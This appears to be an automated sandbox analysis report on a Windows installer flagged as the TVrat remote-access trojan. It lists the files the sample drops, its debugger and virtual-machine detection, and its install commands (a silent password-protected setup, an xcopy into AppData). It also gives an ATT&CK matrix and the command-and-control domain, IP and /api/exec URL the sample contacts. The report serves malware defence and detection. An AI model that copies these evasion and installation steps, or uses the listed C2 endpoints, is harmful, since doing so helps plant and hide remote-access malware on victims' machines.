                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\u3w5\is-JTK9U.tmpJump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\u3w5\is-16M5V.tmpJump to dropped file
                          Source: C:\Windows\SysWOW64\xcopy.exeDropped PE file which has not been started: C:\Users\user\AppData\Roaming\is\libjpeg-turbo-win.dllJump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\u3w5\is-QB9RB.tmpJump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-7K2HG.tmp\_isetup\_setup64.tmpJump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\u3w5\opus.dll (copy)Jump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\u3w5\is-9P1JU.tmpJump to dropped file
                          Source: C:\Windows\SysWOW64\xcopy.exeDropped PE file which has not been started: C:\Users\user\AppData\Roaming\is\hatls.dllJump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\is-GEEHR.tmp\oZ3vtWXObB.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-J9P8D.tmp\_isetup\_setup64.tmpJump to dropped file
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeAPI coverage: 2.2 %
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeFile opened: PhysicalDrive0Jump to behavior
                          Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                          Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeLast function: Thread delayed
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeThread sleep count: Count: 1090 delay: -10Jump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeCode function: 13_2_07064149 lstrcat,FindFirstFileA,lstrcat,FindNextFileA,FindClose,13_2_07064149
                          Source: is-HTIEL.tmp.4.drBinary or memory string: VMware
                          Source: is-HTIEL.tmp.4.drBinary or memory string: VBoxService.exe
                          Source: oZ3vtWXObB.tmp, 00000002.00000002.1460358455.000000000094D000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
                          Source: is-HTIEL.tmp.4.drBinary or memory string: VMWare
                          Source: ast.exe, 0000000B.00000002.2708118285.0000000000D8D000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll}
                          Source: oZ3vtWXObB.tmp, 00000002.00000002.1460358455.000000000094D000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\>
                          Source: is-HTIEL.tmp.4.drBinary or memory string: VBoxService.exeU
                          Source: ast.exe, 0000000D.00000003.2320028777.0000000000E10000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000E.00000003.2403549845.0000000000C23000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpProcess information queried: ProcessInformationJump to behavior

                          Anti Debugging

                          barindex
                          Found API chain indicative of debugger detection
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeDebugger detection routine: QueryPerformanceCounter, DebugActiveProcess, DecisionNodes, ExitProcess or Sleepgraph_11-23880
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeCode function: 11_2_6BDCEB81 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,11_2_6BDCEB81
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeCode function: 11_2_6BDBAE50 WSAStartup,WSACleanup,GetModuleHandleA,GetProcAddress,_strpbrk,LoadLibraryA,GetProcAddress,GetSystemDirectoryA,GetSystemDirectoryA,LoadLibraryA,GetProcAddress,if_nametoindex,QueryPerformanceFrequency,11_2_6BDBAE50
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeCode function: 11_2_6BDE1C01 mov eax, dword ptr fs:[00000030h]11_2_6BDE1C01
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeCode function: 11_2_6BDDC43E mov eax, dword ptr fs:[00000030h]11_2_6BDDC43E
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeProcess token adjusted: DebugJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeCode function: 11_2_6BDCEB81 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,11_2_6BDCEB81
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeCode function: 11_2_6BDDEFE1 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,11_2_6BDDEFE1
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeCode function: 11_2_6BDCDC3A SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,11_2_6BDCDC3A
                          Source: C:\Users\user\AppData\Local\Temp\is-GEEHR.tmp\oZ3vtWXObB.tmpProcess created: C:\Users\user\Desktop\oZ3vtWXObB.exe "C:\Users\user\Desktop\oZ3vtWXObB.exe" /verysilent /password=6s7w4Jump to behavior
                          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\xcopy.exe xcopy /Y /I /S "C:\Users\user\AppData\Local\Temp\u3w5\*" "C:\Users\user\AppData\Roaming\is\"Jump to behavior
                          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Roaming\is\ast.exe "C:\Users\user\AppData\Roaming\is\ast.exe" Jump to behavior
                          Source: ast.exe, 0000000B.00000000.2212062747.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, is-HTIEL.tmp.4.drBinary or memory string: Shell_TrayWndSVW
                          Source: ast.exe, 0000000B.00000000.2212062747.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, is-HTIEL.tmp.4.drBinary or memory string: Shell_TrayWnd
                          Source: ast.exe, 0000000B.00000000.2212062747.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, is-HTIEL.tmp.4.drBinary or memory string: Shell_TrayWndReBarWindow32MSTaskSwWClassToolbarWindow32SVW
                          Source: ast.exe, 0000000B.00000000.2212062747.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, is-HTIEL.tmp.4.drBinary or memory string: Shell_TrayWndTrayNotifyWndSV
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeCode function: 11_2_6BDDFBD1 GetSystemTimeAsFileTime,11_2_6BDDFBD1
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior
                          Source: ast.exe, 0000000D.00000003.2315458463.0000000007062000.00000040.00000001.01000000.0000000E.sdmpBinary or memory string: PROCEXP.EXE

                          Stealing of Sensitive Information

                          barindex
                          Yara detected TVrat
                          Source: Yara matchFile source: 11.0.ast.exe.400000.0.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 0000000B.00000000.2212062747.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, type: MEMORY
                          Source: Yara matchFile source: Process Memory Space: ast.exe PID: 6056, type: MEMORYSTR
                          Source: Yara matchFile source: C:\Users\user\AppData\Local\Temp\u3w5\is-HTIEL.tmp, type: DROPPED
                          Source: Yara matchFile source: C:\Users\user\AppData\Roaming\is\ast.exe, type: DROPPED

                          Remote Access Functionality

                          barindex
                          Yara detected TVrat
                          Source: Yara matchFile source: 11.0.ast.exe.400000.0.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 0000000B.00000000.2212062747.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, type: MEMORY
                          Source: Yara matchFile source: Process Memory Space: ast.exe PID: 6056, type: MEMORYSTR
                          Source: Yara matchFile source: C:\Users\user\AppData\Local\Temp\u3w5\is-HTIEL.tmp, type: DROPPED
                          Source: Yara matchFile source: C:\Users\user\AppData\Roaming\is\ast.exe, type: DROPPED
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeCode function: 11_2_6BDB6D50 socket,socket,htonl,setsockopt,bind,getsockname,listen,socket,connect,accept,curl_msnprintf,send,recv,closesocket,closesocket,closesocket,closesocket,closesocket,11_2_6BDB6D50
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeCode function: 11_2_6BD839A0 curl_pushheader_bynum,inet_pton,htons,inet_pton,htons,htons,htons,bind,htons,htons,bind,getsockname,WSAGetLastError,WSAGetLastError,11_2_6BD839A0
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeCode function: 11_2_6BD8EEA0 ___from_strstr_to_strchr,_strncpy,___from_strstr_to_strchr,inet_pton,_strncpy,___from_strstr_to_strchr,___from_strstr_to_strchr,curl_pushheader_bynum,getsockname,WSAGetLastError,WSAGetLastError,htons,bind,WSAGetLastError,getsockname,WSAGetLastError,getsockname,WSAGetLastError,listen,WSAGetLastError,htons,htons,curl_msnprintf,curl_easy_strerror,curl_easy_strerror,11_2_6BD8EEA0
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeCode function: 13_2_61E168FD sqlite3_mutex_enter,sqlite3_mutex_leave,sqlite3_transfer_bindings,13_2_61E168FD
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeCode function: 13_2_61E283DC sqlite3_bind_blob64,13_2_61E283DC
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeCode function: 13_2_61E283B5 sqlite3_mutex_leave,sqlite3_bind_blob,13_2_61E283B5
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeCode function: 13_2_61E285E9 sqlite3_bind_zeroblob,sqlite3_mutex_leave,13_2_61E285E9
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeCode function: 13_2_61E095A5 sqlite3_bind_parameter_index,13_2_61E095A5
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeCode function: 13_2_61E285B8 sqlite3_bind_null,sqlite3_mutex_leave,13_2_61E285B8
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeCode function: 13_2_61E03587 sqlite3_bind_parameter_name,13_2_61E03587
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeCode function: 13_2_61E28592 sqlite3_bind_int,sqlite3_bind_int64,13_2_61E28592
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeCode function: 13_2_61E03575 sqlite3_bind_parameter_count,13_2_61E03575
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeCode function: 13_2_61E28543 sqlite3_bind_int64,sqlite3_mutex_leave,13_2_61E28543
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeCode function: 13_2_61E284DE sqlite3_bind_double,sqlite3_mutex_leave,13_2_61E284DE
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeCode function: 13_2_61E284B7 sqlite3_bind_text16,13_2_61E284B7
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeCode function: 13_2_61E2844A sqlite3_bind_text64,13_2_61E2844A
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeCode function: 13_2_61E28423 sqlite3_bind_text,13_2_61E28423
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeCode function: 13_2_61E1672A sqlite3_clear_bindings,sqlite3_mutex_enter,sqlite3_mutex_leave,13_2_61E1672A
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeCode function: 13_2_61E2873D sqlite3_bind_zeroblob64,sqlite3_mutex_enter,sqlite3_bind_zeroblob,sqlite3_mutex_leave,13_2_61E2873D
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeCode function: 13_2_61E28656 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_blob,13_2_61E28656

                          Mitre Att&ck Matrix

                          ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
                          Gather Victim Identity Information1
                          Scripting                          		Valid Accounts2
                          Windows Management Instrumentation                          		1
                          Scripting                          		1
                          DLL Side-Loading                          		1
                          Deobfuscate/Decode Files or Information                          		OS Credential Dumping1
                          System Time Discovery                          		Remote Services12
                          Archive Collected Data                          		1
                          Ingress Tool Transfer                          		Exfiltration Over Other Network Medium1
                          Data Encrypted for Impact
                          CredentialsDomainsDefault Accounts1
                          Native API                          		1
                          DLL Side-Loading                          		1
                          Windows Service                          		3
                          Obfuscated Files or Information                          		LSASS Memory3
                          File and Directory Discovery                          		Remote Desktop ProtocolData from Removable Media21
                          Encrypted Channel                          		Exfiltration Over BluetoothNetwork Denial of Service
                          Email AddressesDNS ServerDomain Accounts2
                          Command and Scripting Interpreter                          		1
                          Windows Service                          		12
                          Process Injection                          		1
                          Software Packing                          		Security Account Manager113
                          System Information Discovery                          		SMB/Windows Admin SharesData from Network Shared Drive1
                          Non-Standard Port                          		Automated ExfiltrationData Encrypted for Impact
                          Employee NamesVirtual Private ServerLocal AccountsCron1
                          Registry Run Keys / Startup Folder                          		1
                          Registry Run Keys / Startup Folder                          		1
                          DLL Side-Loading                          		NTDS431
                          Security Software Discovery                          		Distributed Component Object ModelInput Capture2
                          Non-Application Layer Protocol                          		Traffic DuplicationData Destruction
                          Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script1
                          Masquerading                          		LSA Secrets32
                          Virtualization/Sandbox Evasion                          		SSHKeylogging3
                          Application Layer Protocol                          		Scheduled TransferData Encrypted for Impact
                          Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts32
                          Virtualization/Sandbox Evasion                          		Cached Domain Credentials2
                          Process Discovery                          		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
                          DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items12
                          Process Injection                          		DCSync1
                          Application Window Discovery                          		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
                          Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/JobIndicator Removal from ToolsProc Filesystem2
                          System Owner/User Discovery                          		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement

                          Behavior Graph

                          Hide Legend

                          Legend:

                          • Process
                          • Signature
                          • Created File
                          • DNS/IP Info
                          • Is Dropped
                          • Is Windows Process
                          • Number of created Registry Values
                          • Number of created Files
                          • Visual Basic
                          • Delphi
                          • Java
                          • .Net C# or VB.NET
                          • C, C++ or other language
                          • Is malicious
                          • Internet
                          behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1558738 Sample: oZ3vtWXObB.exe Startdate: 19/11/2024 Architecture: WINDOWS Score: 80 66 id.xn--80akicokc0aablc.xn--p1ai 2->66 76 Multi AV Scanner detection for submitted file 2->76 78 Yara detected TVrat 2->78 80 AI detected suspicious sample 2->80 11 oZ3vtWXObB.exe 2 2->11         started        14 ast.exe 4 2->14         started        16 ast.exe 4 2->16         started        signatures3 process4 file5 52 C:\Users\user\AppData\...\oZ3vtWXObB.tmp, PE32 11->52 dropped 18 oZ3vtWXObB.tmp 3 14 11->18         started        process6 file7 38 C:\Users\user\AppData\Local\...\_setup64.tmp, PE32+ 18->38 dropped 40 C:\Users\user\AppData\Local\...\_iscrypt.dll, PE32 18->40 dropped 21 oZ3vtWXObB.exe 2 18->21         started        process8 file9 42 C:\Users\user\AppData\...\oZ3vtWXObB.tmp, PE32 21->42 dropped 24 oZ3vtWXObB.tmp 21 40 21->24         started        process10 file11 44 C:\Users\user\AppData\...\unins000.exe (copy), PE32 24->44 dropped 46 C:\Users\user\AppData\...\quartz.dll (copy), PE32 24->46 dropped 48 C:\Users\user\AppData\...\opus.dll (copy), PE32 24->48 dropped 50 31 other files (26 malicious) 24->50 dropped 27 cmd.exe 2 24->27         started        process12 process13 29 xcopy.exe 26 27->29         started        32 ast.exe 25 4 27->32         started        36 conhost.exe 27->36         started        dnsIp14 54 C:\Users\user\AppData\Roaming\is\quartz.dll, PE32 29->54 dropped 56 C:\Users\user\AppData\Roaming\is\opus.dll, PE32 29->56 dropped 58 C:\Users\user\AppData\...\libssl-1_1.dll, PE32 29->58 dropped 60 12 other files (11 malicious) 29->60 dropped 62 id.xn--80akicokc0aablc.xn--p1ai 212.193.169.65, 443, 44335, 51370 SAFIB-ASRU Russian Federation 32->62 64 127.0.0.1 unknown unknown 32->64 68 Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines) 32->68 70 Found API chain indicative of debugger detection 32->70 72 Tries to delay execution (extensive OutputDebugStringW loop) 32->72 74 2 other signatures 32->74 file15 signatures16

                          Screenshots

                          Thumbnails

                          This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                          windows-stand

                          Antivirus, Machine Learning and Genetic Malware Detection

                          Initial Sample

                          SourceDetectionScannerLabelLink
                          oZ3vtWXObB.exe26%ReversingLabsWin32.Trojan.Generic

                          Dropped Files

                          SourceDetectionScannerLabelLink
                          C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmp0%ReversingLabs
                          C:\Users\user\AppData\Local\Temp\is-7K2HG.tmp\_isetup\_iscrypt.dll0%ReversingLabs
                          C:\Users\user\AppData\Local\Temp\is-7K2HG.tmp\_isetup\_setup64.tmp0%ReversingLabs
                          C:\Users\user\AppData\Local\Temp\is-GEEHR.tmp\oZ3vtWXObB.tmp0%ReversingLabs
                          C:\Users\user\AppData\Local\Temp\is-J9P8D.tmp\_isetup\_iscrypt.dll0%ReversingLabs
                          C:\Users\user\AppData\Local\Temp\is-J9P8D.tmp\_isetup\_setup64.tmp0%ReversingLabs
                          C:\Users\user\AppData\Local\Temp\u3w5\AstCrp.dll (copy)0%ReversingLabs
                          C:\Users\user\AppData\Local\Temp\u3w5\ast.exe (copy)12%ReversingLabs
                          C:\Users\user\AppData\Local\Temp\u3w5\astclient.dll (copy)0%ReversingLabs
                          C:\Users\user\AppData\Local\Temp\u3w5\astrct.dll (copy)0%ReversingLabs
                          C:\Users\user\AppData\Local\Temp\u3w5\aw_sas32.dll (copy)4%ReversingLabs
                          C:\Users\user\AppData\Local\Temp\u3w5\hatls.dll (copy)0%ReversingLabs
                          C:\Users\user\AppData\Local\Temp\u3w5\is-02JO0.tmp0%ReversingLabs
                          C:\Users\user\AppData\Local\Temp\u3w5\is-0I1DI.tmp0%ReversingLabs
                          C:\Users\user\AppData\Local\Temp\u3w5\is-16M5V.tmp0%ReversingLabs
                          C:\Users\user\AppData\Local\Temp\u3w5\is-4DKN3.tmp0%ReversingLabs
                          C:\Users\user\AppData\Local\Temp\u3w5\is-6KVQP.tmp0%ReversingLabs
                          C:\Users\user\AppData\Local\Temp\u3w5\is-9P1JU.tmp0%ReversingLabs
                          C:\Users\user\AppData\Local\Temp\u3w5\is-HTIEL.tmp12%ReversingLabs
                          C:\Users\user\AppData\Local\Temp\u3w5\is-J00N2.tmp4%ReversingLabs
                          C:\Users\user\AppData\Local\Temp\u3w5\is-JTK9U.tmp0%ReversingLabs
                          C:\Users\user\AppData\Local\Temp\u3w5\is-L5V14.tmp0%ReversingLabs
                          C:\Users\user\AppData\Local\Temp\u3w5\is-QB9RB.tmp0%ReversingLabs
                          C:\Users\user\AppData\Local\Temp\u3w5\is-T74LT.tmp0%ReversingLabs
                          C:\Users\user\AppData\Local\Temp\u3w5\is-U4T29.tmp0%ReversingLabs
                          C:\Users\user\AppData\Local\Temp\u3w5\is-V6G0T.tmp4%ReversingLabs
                          C:\Users\user\AppData\Local\Temp\u3w5\libcrypto-1_1.dll (copy)0%ReversingLabs
                          C:\Users\user\AppData\Local\Temp\u3w5\libcryptoMD.dll (copy)0%ReversingLabs
                          C:\Users\user\AppData\Local\Temp\u3w5\libcurl.dll (copy)0%ReversingLabs
                          C:\Users\user\AppData\Local\Temp\u3w5\libeay32.dll (copy)4%ReversingLabs
                          C:\Users\user\AppData\Local\Temp\u3w5\libjpeg-turbo-win.dll (copy)0%ReversingLabs
                          C:\Users\user\AppData\Local\Temp\u3w5\libssl-1_1.dll (copy)0%ReversingLabs
                          C:\Users\user\AppData\Local\Temp\u3w5\msvcr120.dll (copy)0%ReversingLabs

                          Unpacked PE Files

                          ⊘No Antivirus matches

                          Domains

                          ⊘No Antivirus matches

                          URLs

                          SourceDetectionScannerLabelLink
                          https://id.xn--80akicokc0aablc.xn--p1aiI0%Avira URL Cloudsafe
                          https://id.xn--80akicokc0aablc.xn--p1ai:443uIz0%Avira URL Cloudsafe
                          https://id.xn--80akicokc0aablc.xn--p1aixe030%Avira URL Cloudsafe
                          https://id.xn--80akicokc0aa0%Avira URL Cloudsafe
                          https://id.xn--80akicokc0aablc.xn--p1ai:443RW0%Avira URL Cloudsafe
                          http://www.borland.com/namespaces/TypesM0%Avira URL Cloudsafe
                          https://id.xn--80akicokc0aablc.xn--p1ai:443rO0%Avira URL Cloudsafe
                          https://id.xn--80akicokc0aablc.xn--p1aiE0%Avira URL Cloudsafe
                          https://id.xn--80akicokc0aablc.xn--p1aidllb/y0%Avira URL Cloudsafe
                          https://id.xn--80akicokc0aablc.xn--p1ai:44335-0%Avira URL Cloudsafe
                          https://id.xn--80akicokc0aablc.xn--p1ai030%Avira URL Cloudsafe
                          https://id.xn--80akicokc0aablc.xn--p1ainke0%Avira URL Cloudsafe
                          https://id.xn--80akicokc0aablc.xn--p1ai10%Avira URL Cloudsafe
                          https://id.xn--80akicokc0aablc.xn--p1ai000%Avira URL Cloudsafe
                          https://id.xn--80akicokc0aablc.xn--p1aillQ/0%Avira URL Cloudsafe
                          http://www.borland.com/namespaces/Typesd0%Avira URL Cloudsafe
                          https://id.xn--80akicokc0aablc.xn--p1aillU0%Avira URL Cloudsafe
                          https://id.xn--80akicokc0aablc.xn--p1ai:443...0%Avira URL Cloudsafe
                          http://www.borland.com/namespaces/Typescrypto0%Avira URL Cloudsafe
                          https://id.xn--80akicokc0aablc.xn--p1ar0%Avira URL Cloudsafe
                          https://id.xn--80akicokc0aablc.xn--p1ai:44335...0%Avira URL Cloudsafe
                          https://id.xn--80akicokc0aablc.xn--p1ai:443nA0%Avira URL Cloudsafe
                          https://id.xn--80akico0%Avira URL Cloudsafe
                          https://id.xn-0%Avira URL Cloudsafe
                          https://id.xn--80akicokc0aablc.xn--p1aidll0%Avira URL Cloudsafe
                          http://www.borland.com/namespaces/Typeswuu0%Avira URL Cloudsafe
                          https://id.xn--80akicokc0aablc.xn--p1ai:443...430%Avira URL Cloudsafe
                          https://id.xn--80akicokc0aablc.xn--p1aills0%Avira URL Cloudsafe
                          https://id.xn--80akicokc0aablc.xn--p1aiU0%Avira URL Cloudsafe
                          http://www.borland.com/namespaces/Types60%Avira URL Cloudsafe
                          https://id.xn--80akicokc0aablc.xn--p1ai:443SI0%Avira URL Cloudsafe
                          http://www.borland.com/namespaces/Typesuntime0%Avira URL Cloudsafe
                          https://id.xn--80akicokc0aablc.xn--p1aid0030%Avira URL Cloudsafe
                          https://id.xn--80akicokc0aablcZ0%Avira URL Cloudsafe
                          https://id.xn--80a0%Avira URL Cloudsafe
                          http://crypto-st.art/update.php0%Avira URL Cloudsafe
                          https://id.xn--80akicokc0aablc.xn--p1ainkEx0%Avira URL Cloudsafe
                          https://id.xn--80akicokc0aablc.xn--p1ai:443n0%Avira URL Cloudsafe
                          https://id.xn--80akicokc0aaP0%Avira URL Cloudsafe
                          http://www.borland.com/namespaces/Types%0%Avira URL Cloudsafe
                          http://www.borland.com/namespaces/Typesx60%Avira URL Cloudsafe
                          https://id.xn--80akicokc0aablc.xn--p1airq0%Avira URL Cloudsafe
                          http://www.borland.com/namespaces/Types_90%Avira URL Cloudsafe

                          Domains and IPs

                          Contacted Domains

                          NameIPActiveMaliciousAntivirus DetectionReputation
                          id.xn--80akicokc0aablc.xn--p1ai
                          		212.193.169.65
                          		truefalse
                            		high

                            Contacted URLs

                            NameMaliciousAntivirus DetectionReputation
                            https://id.xn--80akicokc0aablc.xn--p1ai:443/api/execfalse
                              		high

                              URLs from Memory and Binaries

                              NameSourceMaliciousAntivirus DetectionReputation
                              http://www.openssl.org/support/faq.html....................rbwb.rndC:HOMERANDFILEPRNGis-V6G0T.tmp.4.drfalse
                                		high
                                https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupUoZ3vtWXObB.exefalse
                                  		high
                                  http://www.borland.com/namespaces/TypesMast.exe, 0000000E.00000002.2404512977.0000000000BD8000.00000004.00000020.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://schemas.xmlsoap.org/soap/encoding/Nhttp://www.borland.com/namespaces/Typesast.exe, 0000000B.00000000.2212062747.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, is-HTIEL.tmp.4.drfalse
                                    		high
                                    http://ocsp.sectigo.com0oZ3vtWXObB.tmp, 00000004.00000003.1898790130.0000000005DCC000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1921257541.00000000026F9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1916463173.00000000026F8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.2210276732.00000000026F9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1920028093.00000000026F9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1917115603.000000000270F000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1913521432.0000000002945000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1916642893.00000000026F8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1918204929.000000000297F000.00000004.00000020.00020000.00000000.sdmp, is-V6G0T.tmp.4.dr, astclient.dll.10.drfalse
                                      		high
                                      http://www.openssl.org/VoZ3vtWXObB.tmp, 00000004.00000003.1898790130.0000000005DCC000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1918880338.0000000002986000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.2210276732.00000000026F9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1920028093.00000000026F9000.00000004.00000020.00020000.00000000.sdmp, is-V6G0T.tmp.4.drfalse
                                        		high
                                        https://id.xn--80akicokc0aaast.exe, 0000000B.00000003.2460874632.0000000005BC2000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000003.2288476613.0000000005BDA000.00000004.00000020.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        https://id.xn--80akicokc0aablc.xn--p1aidllb/yast.exe, 0000000B.00000003.2460667987.0000000005BE0000.00000004.00000020.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        http://crl.sectigo.com/COMODOTimeStampingCA_2.crl0roZ3vtWXObB.tmp, 00000004.00000003.1898790130.0000000005DCC000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.2210276732.00000000026F9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1920028093.00000000026F9000.00000004.00000020.00020000.00000000.sdmp, is-V6G0T.tmp.4.drfalse
                                          		high
                                          https://id.xn--80akicokc0aablc.xn--p1aiIast.exe, 0000000B.00000002.2721303645.00000000085AD000.00000004.00000010.00020000.00000000.sdmpfalse
                                          • Avira URL Cloud: safe
                                          		unknown
                                          https://id.xn--80akicokc0aablc.xn--p1aixe03ast.exe, 0000000B.00000002.2709418895.0000000002F64000.00000004.00001000.00020000.00000000.sdmpfalse
                                          • Avira URL Cloud: safe
                                          		unknown
                                          http://schemas.xmlsoap.org/soap/encoding/xeast.exe, 0000000B.00000002.2708118285.0000000000D48000.00000004.00000020.00020000.00000000.sdmpfalse
                                            		high
                                            http://www.indyproject.org/is-HTIEL.tmp.4.drfalse
                                              		high
                                              https://id.xn--80akicokc0aablc.xn--p1aiEast.exe, 0000000B.00000002.2718754874.0000000005B88000.00000004.00000020.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
